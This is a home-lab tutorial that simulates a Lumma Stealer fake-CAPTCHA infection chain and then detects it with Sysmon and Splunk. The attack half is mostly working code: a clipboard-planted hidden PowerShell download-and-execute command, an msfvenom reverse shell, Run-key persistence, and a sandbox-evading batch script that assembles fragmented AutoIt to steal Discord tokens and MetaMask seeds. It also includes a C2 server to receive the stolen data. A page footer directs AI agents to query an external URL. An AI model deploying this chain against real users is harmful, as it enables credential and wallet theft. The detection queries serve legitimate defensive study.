> For the complete documentation index, see [llms.txt](https://faresbltagy.gitbook.io/footprintinglabs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://faresbltagy.gitbook.io/footprintinglabs/home-lab-attack-and-defense-scenarios/home-lab-lumma-stealer.md). # Home Lab (Lumma Stealer) ## Overview of the Lumma Stealer Attack Chain The Lumma Stealer attack via fake CAPTCHA pages typically follows this infection chain: 1. **Initial Access**: A user visits a compromised or malicious website hosting a fake CAPTCHA page, often through phishing emails, malvertising, or compromised legitimate sites. 2. **Social Engineering**: The fake CAPTCHA page mimics legitimate services (e.g., Google reCAPTCHA) and tricks the user into clicking a “Verify” or “I’m not a robot” button. 3. **Clipboard Manipulation**: Clicking the button copies a malicious PowerShell command to the user’s clipboard, often Base64-encoded. 4. **User Execution**: The user is instructed to paste and execute the command in the Windows Run dialog `Win+R` or a terminal, which triggers the malware download. 5. **Malware Delivery**: The PowerShell script downloads and executes the Lumma Stealer payload, often from a content delivery network (CDN) or a legitimate platform like GitHub. 6. **Payload Execution**: The malware employs techniques like DLL sideloading or process injection to run silently, stealing sensitive data (e.g., credentials, cryptocurrency wallets, browser data). 7. **Data Exfiltration**: The stolen data is sent to a command-and-control (C2) server. ## Home Lab Setup * **Windows Machine** * **Kali Linux Machine.** * **Ubuntu Machine (Splunk)** I installed Sysmon on the Windows machine, Splunk on the Ubuntu system, and the Splunk Forwarder on the Windows machine to collect and send logs to Splunk. I have forwarded the Application, Security, PowerShell, and Sysmon logs to Splunk. The Application and Security logs were configured directly within Splunk during the index creation process. However, to send the PowerShell and Sysmon logs, I created a file named `inputs.conf` in the following directory: `C:\Program Files\SplunkUniversalForwarder\etc\apps\SplunkUniversalForwarder\local`, containing the follow configuration: ```ini [WinEventLog://Microsoft-Windows-PowerShell/Operational] disabled = false index = powershell sourcetype = WinEventLog:PowerShell renderXml = 0 [WinEventLog://Microsoft-Windows-Sysmon/Operational] disabled = false renderXml = true index= sysmon source = XmlWinEventLog:Microsoft-Windows-Sysmon/Operational ```
Next, we need to restart the Splunk forwarder using the following command. ```bash & 'C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe' restart ``` Now, we need to simulate additional sensitive data within the **%APPDATA%** directory, which will serve as the target for our exfiltration test. ```powershell mkdir "$env:APPDATA\Discord\localStorage" -Force Set-Content -Path "$env:APPDATA\Discord\localStorage\discord_token.txt" -Value "mfa.Hkjdhsjdhskjdhskjdhsjdhskjdhskjdhsjdhskjdhsjdhskjd" New-Item -Path "$env:APPDATA\MetaMask" -ItemType Directory Set-Content -Path "$env:APPDATA\MetaMask\seed_phrase.txt" -Value "apple banana cherry dog elephant fox grape house igloo jelly kangaroo lemon" ```
## The Attack - Lumma Stealer Let's begin by creating the fake CAPTCHA webpage that will be used in our attack simulation. ```bash mkdir -p /var/www/html/captcha nano /var/www/html/captcha/index.html ``` ```bash Verify You Are Human

Verify You Are Human

Please click to verify.

reCAPTCHA Verification ID: 2165

To verify:

1. Press Win + R

2. Press Ctrl + V

3. Press Enter

```
Let's modify the permissions of the Captcha folder to ensure the phishing page is accessible through the web server. ```bash sudo chown www-data:www-data -R /var/www/html/captcha sudo chmod 755 -R /var/www/html/captcha ```
In the code, clicking the button copies the command to the user's clipboard. Let's verify this behavior.
When the `Win + R` keys were pressed, the command was automatically copied to the clipboard.
We now need to generate the initial payload using **msfvenom.** ```bash msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.204.152 LPORT=4444 -f exe -o Set-up.exe ```
Let's create a new folder named **"payload"** and move **"Set-up.exe"** into this folder. ```bash mkdir -p /var/www/html/payload mv Set-up.exe /var/www/html/payload/ ``` Next, we will modify the file’s permissions to allow other users to download it via HTTP. ```bash sudo chown www-data:www-data /var/www/html/payload/Set-up.exe sudo chmod 644 /var/www/html/payload/Set-up.exe ```
Next, we will package the `Set-up.exe` file into an archive named `win15.zip`. ```bash mkdir -p /tmp/win15 cp /var/www/html/payload/Set-up.exe /tmp/win15/ cd /tmp/win15 zip /var/www/html/payload/win15.zip Set-up.exe rm -rf /tmp/win15 ```
Next, we need to modify its permissions to ensure that Apache can serve the ZIP file. ```bash sudo chown www-data:www-data /var/www/html/payload/win15.zip sudo chmod 644 /var/www/html/payload/win15.zip ```
While developing the fake CAPTCHA web page, we configure it to copy the following PowerShell command to the victim's clipboard: `powershell -w hidden -ep bypass -c "$url='http://192.168.204.152/payload/win15.txt'; iex (iwr $url -UseBasicParsing).Content"` This command initiates the download and execution of a remote script. Next, we will create the `win15.txt` file, which will be fetched when the victim proceeds with the CAPTCHA verification steps. ```powershell $zipUrl = "http://192.168.204.152/payload/win15.zip" $zipDest = "$env:APPDATA\bFylC6zX.zip" $extractPath = "$env:APPDATA\7oCDTWYu" Invoke-WebRequest -Uri $zipUrl -OutFile $zipDest Expand-Archive -Path $zipDest -DestinationPath $extractPath -Force $setupPath = "$extractPath\Set-up.exe" if (-not (Test-Path $extractPath)) { New-Item -Path $extractPath -ItemType Directory } Start-Process -FilePath $setupPath Start-BitsTransfer -Source "http://192.168.204.152/payload/hose.cmd" -Destination "$extractPath\Hose.cmd" Start-Process -FilePath "cmd.exe" -ArgumentList "/c $extractPath\Hose.cmd" New-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "5TQjtTuo" -Value $setupPath -PropertyType String -Force ```
**Breakdown**: * **$zipUrl:** The web address where the ZIP file is hosted on Kali. * **$zipDest:** Saves the ZIP to a hidden folder in the user’s AppData (`%APPDATA%\bFylC6zX.zip`) to avoid easy detection. * **$extractPath:** Sets the extraction location to `%APPDATA%\7oCDTWYu`, another hidden folder. * **Invoke-WebRequest:** Downloads the ZIP file from Kali. * **Expand-Archive:** Unzips `Set-up.exe` to the extraction path. * **if (-not (Test-Path $extractPath)):** Checks if the extraction directory exists; if not, creates it. * **Start-Process -FilePath $setupPath:** Runs `Set-up.exe` to establish the reverse shell. * **Start-BitsTransfer:** Downloads the next script (`Hose.cmd`) to continue the attack. * **Start-Process -FilePath "cmd.exe":** Executes `Hose.cmd` using the Command Prompt. * **New-ItemProperty:** Adds a registry key to make `Set-up.exe` run every time the computer starts (persistence). This script mimics a phishing attack where the victim runs a downloaded file, triggering the malware chain. Next, let's modify the permissions of this file. ```bash sudo chown www-data:www-data /var/www/html/payload/win15.txt sudo chmod 644 /var/www/html/payload/win15.txt ```
Next, we need to generate the AutoIt script fragments (suggests.a3x). We will develop segmented fragments of an AutoIt script designed to exfiltrate data to a Command and Control (C2) server. When executed on a victim's system, the script will harvest Discord tokens and MetaMask seed phrases. By dividing the script into smaller fragments, we aim to reduce the likelihood of detection. ```bash echo "#NoTrayIcon" | sudo tee /var/www/html/payload/Italy echo "#include " | sudo tee -a /var/www/html/payload/Italy echo "#include " | sudo tee /var/www/html/payload/Holmes echo "Local \$sData = ''" | sudo tee /var/www/html/payload/True echo "Local \$sFile = @AppDataDir & '\Discord\localStorage\discord_token.txt'" | sudo tee /var/www/html/payload/Lying echo "If FileExists(\$sFile) Then \$sData &= FileRead(\$sFile) & @CRLF" | sudo tee /var/www/html/payload/Responded echo "Local \$sFile = @AppDataDir & '\MetaMask\seed_phrase.txt'" | sudo tee /var/www/html/payload/Proc echo "If FileExists(\$sFile) Then \$sData &= FileRead(\$sFile) & @CRLF" | sudo tee /var/www/html/payload/Fa echo -E "InetGet('http://192.168.204.152:8080/c2?data=' & \$sData, @TempDir & '\exfil_data.txt', 1)" | sudo tee /var/www/html/payload/Ink ```
**Explanation:** * **#NoTrayIcon:** hides the script’s icon from the system tray. * **#include \:** adds the AutoIt file handling library. We need this library to read files on the victim machine. * **#include \:** adds the internet library for sending data. This library enables the `InetGet` command to exfiltrate data. * **Local $sData = '' :** declares a variable to store the stolen data, initialized as an empty string. * **Local $sFile:** sets a variable to the path where Discord tokens might be stored. **@AppDataDir** is an AutoIt macro for the user’s AppData folder (e.g., C:\Users\jody\AppData\Roaming). * **InetGet:** sends an HTTP GET request to the C2 server with the data, saving the response to `%TEMP%\exfil_data.txt`. The 1 flag forces an overwrite if the file exists. To collect these fragments, we will create a file named `hose.cmd` that concatenates them. On the victim machine, this will produce the following result: ```autoit #NoTrayIcon #include #include Local $sData = '' Local $sFile = @AppDataDir & '\Discord\localStorage\discord_token.txt' If FileExists($sFile) Then $sData &= FileRead($sFile) & @CRLF Local $sFile = @AppDataDir & '\MetaMask\seed_phrase.txt' If FileExists($sFile) Then $sData &= FileRead($sFile) & @CRLF InetGet('http://192.168.204.152:8080/c2?data=' & $sData, @TempDir & '\exfil_data.txt', 1) ``` This script checks for the specified files, collects their content, and sends it to the C2 server. Let's also modify their permissions. ```bash sudo chown www-data:www-data /var/www/html/payload/{Italy,Holmes,True,Lying,Responded,Proc,Fa,Ink} sudo chmod 644 /var/www/html/payload/{Italy,Holmes,True,Lying,Responded,Proc,Fa,Ink} ``` To clarify the scenario, the process should be as follows. The victim clicks on the CAPTCHA verification button, which triggers the copying of a malicious command to their clipboard. Following the instructions, the victim presses `Win + R` and hits Enter, causing the commands listed in the `win15.txt` file to execute sequentially. At this stage, we need to create the `hose.cmd` script to aggregate these fragments into a file named `suggests.a3x`, allowing us to retrieve the target files and transmit them to our Command and Control (C2) server. ```bash nano /var/www/html/payload/hose.cmd ``` ```visual-basic @echo off tasklist | findstr /I "wrsa opssvc" & if not errorlevel 1 ping -n 198 127.0.0.1 Set /a Realtor=195402 mkdir %TEMP%\195402 cd %TEMP%\195402 :: Check if AutoIt3_x64.exe exists, if not download it if not exist "C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe" ( powershell -Command "Invoke-WebRequest -Uri 'http://192.168.204.152/payload/AutoIt3_x64.exe' -OutFile 'AutoIt3_x64.exe'" ) :: Set the AutoIt3 executable path Set AUTOIT_PATH=%CD%\AutoIt3_x64.exe :: Download payload fragments to evade detection powershell -Command "Invoke-WebRequest -Uri 'http://192.168.204.152/payload/Italy' -OutFile '..\Italy'" powershell -Command "Invoke-WebRequest -Uri 'http://192.168.204.152/payload/Holmes' -OutFile '..\Holmes'" powershell -Command "Invoke-WebRequest -Uri 'http://192.168.204.152/payload/True' -OutFile '..\True'" powershell -Command "Invoke-WebRequest -Uri 'http://192.168.204.152/payload/Lying' -OutFile '..\Lying'" powershell -Command "Invoke-WebRequest -Uri 'http://192.168.204.152/payload/Responded' -OutFile '..\Responded'" powershell -Command "Invoke-WebRequest -Uri 'http://192.168.204.152/payload/Proc' -OutFile '..\Proc'" powershell -Command "Invoke-WebRequest -Uri 'http://192.168.204.152/payload/Fa' -OutFile '..\Fa'" powershell -Command "Invoke-WebRequest -Uri 'http://192.168.204.152/payload/Ink' -OutFile '..\Ink'" :: Concatenate all payload components to create the final a3x file cmd /c copy /b ..\Italy + ..\Holmes + ..\True + ..\Lying + ..\Responded + ..\Proc + ..\Fa + ..\Ink suggests.a3x :: Execute the final payload if exist "%AUTOIT_PATH%" ( "%AUTOIT_PATH%" suggests.a3x ) else ( "C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe" suggests.a3x ) :: Wait before exit choice /d y /t 5 ```
**Explanation:** * **tasklist | findstr /I "wrsa opssvc" & if not errorlevel 1 ping -n 198 127.0.0.1:** The script checks for the presence of security software by using the `tasklist` command. If any such software is detected, it delays execution by issuing a `ping -n 198 localhost` command, causing the system to ping itself 198 times. This technique is intended to evade sandbox analysis, as sandboxes often terminate execution before the delay completes. * **Set /a Realtor=195402:** Sets a random variable. * **mkdir %TEMP%\195402 and cd %TEMP%\195402:** Creates and moves to a temporary folder named 195402 in the system's temp directory. * **if not exist "C:\Program Files (x86)\AutoIt3\AutoIt3\_x64.exe" (...):** Checks if the AutoIt executable exists; if not, downloads it from `http://192.168.204.152/payload/AutoIt3_x64.exe`. * **Set AUTOIT\_PATH=%CD%\AutoIt3\_x64.exe:** Sets the path to the downloaded or existing AutoIt executable. * **cmd /c copy /b ..\Italy + ..\Holmes + ... suggests.a3x:** Combines the downloaded pieces into a single file called **`suggests.a3x`**. * **if exist "%AUTOIT\_PATH%" (...) else (...):** Runs suggests.a3x using the downloaded AutoIt or the default installed version. * **choice /d y /t 5:** Pauses the script for 5 seconds before exiting. This script is a malware delivery tool that downloads and assembles a malicious AutoIt script `suggests.a3x` on the victim's computer, then runs it to steal data like Discord tokens or MetaMask seed phrases, sending it to a remote server while trying to avoid detection by security software. You can download **`AutoIt3_x64.exe`** from the official website using the following link:\ Next, let's update the permissions for the `hose.cmd` file. ```bash sudo chown www-data:www-data /var/www/html/payload/hose.cmd sudo chmod 644 /var/www/html/payload/hose.cmd ```
We now need to develop a Python-based Command and Control (C2) server to receive the exfiltrated data. ```bash nano /var/www/html/c2.py ``` ```python from http.server import BaseHTTPRequestHandler, HTTPServer import urllib.parse class C2Handler(BaseHTTPRequestHandler): def do_GET(self): query = urllib.parse.urlparse(self.path).query params = urllib.parse.parse_qs(query) data = params.get('data', ['No data'])[0] with open('/var/www/html/c2_data.txt', 'a') as f: f.write(f"[C2 GET {self.log_date_time_string()}] {data}\n") self.send_response(200) self.end_headers() server = HTTPServer(('', 8080), C2Handler) print("C2 Server Started on port 8080") server.serve_forever() ```
Let's start the C2 server and configure the appropriate permissions for the `c2_data.txt` file. ```bash sudo python3 /var/www/html/c2.py sudo chown www-data:www-data /var/www/html/c2_data.txt sudo chmod 644 /var/www/html/c2_data.txt ```
Before launching the attack, let's first start a listener to capture the reverse shell from **Set-up.exe**. ```bash msfconsole -q use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST 192.168.204.152 set LPORT 4444 exploit ```
Everything is now properly configured; let's proceed with the attack simulation to verify its effectiveness.
Let's now verify whether we received a reverse shell and if any data exfiltration occurred.
The attack appears to have been successful; let's now verify whether the registry key was also added. ```powershell Get-ItemProperty -Path "HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" -Name "5TQjtTuo" ```
## Investigation & Detection The attack begins with a file download, so let's filter by Event Code 4104 to examine the executed PowerShell commands. ```splunk-spl index=powershell EventCode=4104 | eval Message=lower(Message) | where Message LIKE "%-e%" OR Message LIKE "%-enc%" OR Message LIKE "%-encodedcommand%" OR Message LIKE "%invoke-webrequest%" OR Message LIKE "%downloadstring%" OR Message LIKE "%start-process%" OR Message LIKE "%get-clipboard%" OR Message LIKE "%hidden%" OR Message LIKE "%bitlockertogo%" OR Message LIKE "%bitstransfer%" OR Message LIKE "%iwr%" OR Message LIKE "%iex%" | eval base64_pattern=if(match(Message, "[a-zA-Z0-9+/]{44,}([a-zA-Z0-9+/]{4}|[a-zA-Z0-9+/]{3}=|[a-zA-Z0-9+/]{2}==)"), "Possible Base64", "None") | eval suspicious_cmdlet=if(match(Message, "(invoke-webrequest|iwr|downloadstring|enc|encodedcommand|hidden|bitstransfer|start-process|get-clipboard)"), "Suspicious Cmdlet", "None") | stats count by _time, host, Message, base64_pattern, suspicious_cmdlet | where suspicious_cmdlet="Suspicious Cmdlet" | table _time, Message, base64_pattern, suspicious_cmdlet, count ```
* The attacker first downloaded a file named `win15.txt`, which contained a list of commands to be executed sequentially. * A ZIP file was downloaded from the remote IP address `192.168.204.152` and saved to the path:\ `$env:APPDATA\bfylc6zx.zip`. * The ZIP file was extracted to a randomly named folder:\ `$env:APPDATA\7ocdtwyu`. * Within the extracted contents, a file named `Set-up.exe` was found and executed. * Another file, `hose.cmd`, was placed in the same extracted folder and subsequently executed. * To maintain persistence, a registry key named `5tqjttuo` (randomly generated) was created, with its value set to the path of `Set-up.exe`. Let's review the network logs to determine if any outbound connections were initiated following the execution of `Set-up.exe`. ```splunk-spl index=sysmon EventCode=3 *Set-up.exe* | table _time, process_name, SourceIp, SourcePort, DestinationIp, DestinationPort ```
Following the execution of `Set-up.exe`, the attacker successfully established a reverse shell connection on port 4444. Next, let's filter for the file named **`hose.cmd`** to examine its contents. ```splunk-spl index="sysmon" EventCode=1 parent_process=*hose.cmd* | table _time, CommandLine ```
In this case, it was observed that the `hose.cmd` file was used to download file fragments, which the attacker subsequently combined to create the file `suggests.a3x`, which is an AutoIt script, a scripting language primarily used for automating Windows GUI tasks and developing Windows-based applications. ```splunk-spl index="wineventlog" EventCode=4688 *suggests.a3x* | table _time, Process_Command_Line ```
The attacker then executed the AutoIt **`suggests.a3x`** script using **`AutoIt_x64.exe`**. ```splunk-spl index=sysmon EventCode=3 DestinationIp=192.168.204.152 | table _time, process_name, SourceIp, DestinationIp, DestinationPort | sort _time ```
By analyzing the network connections to the attacker's IP, we observe that within just 15 seconds, the attacker downloaded an initial file containing execution commands and established a reverse shell on port 4444. Subsequently, they downloaded several file fragments used to assemble the AutoIt script that was executed. An additional connection was then made to the attacker's server on port 8080, likely for data exfiltration. We can create a detection rule based on the initial query and configure it to run every 15 minutes. Let's proceed with this approach.
Also let's enable throttling to prevent excessive alerts from the same issue, thereby avoiding "alert overload." Additionally, we should configure the "Log Event" action, which records the alert’s triggering details in Splunk’s internal logs (index=\_internal) or a custom index.
Let's initiate the attack once more and verify if an alert is triggered. From **`Settings > Searches, Reports, and Alerts`** in the Splunk web interface.
Alternatively, we can verify this from the `index=main`.
You can explore this informative URL to learn more about the detection rules in Splunk that can be used to identify the Lumma Stealer attack: --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://faresbltagy.gitbook.io/footprintinglabs/home-lab-attack-and-defense-scenarios/home-lab-lumma-stealer.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.